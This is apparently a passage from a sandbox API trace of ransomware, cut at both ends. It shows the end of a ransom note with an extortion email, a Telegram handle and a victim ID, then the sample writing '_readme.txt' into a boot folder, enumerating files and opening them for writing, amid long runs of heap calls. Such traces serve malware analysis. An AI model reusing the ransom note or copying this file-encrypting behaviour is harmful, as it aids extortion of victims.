us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.669] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.669] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.669] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.669] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.669] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.669] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.669] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0116.669] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.669] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.669] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.669] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.669] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.669] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.669] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.669] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.669] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.669] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.671] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.671] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.672] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.672] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.673] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.673] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.675] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 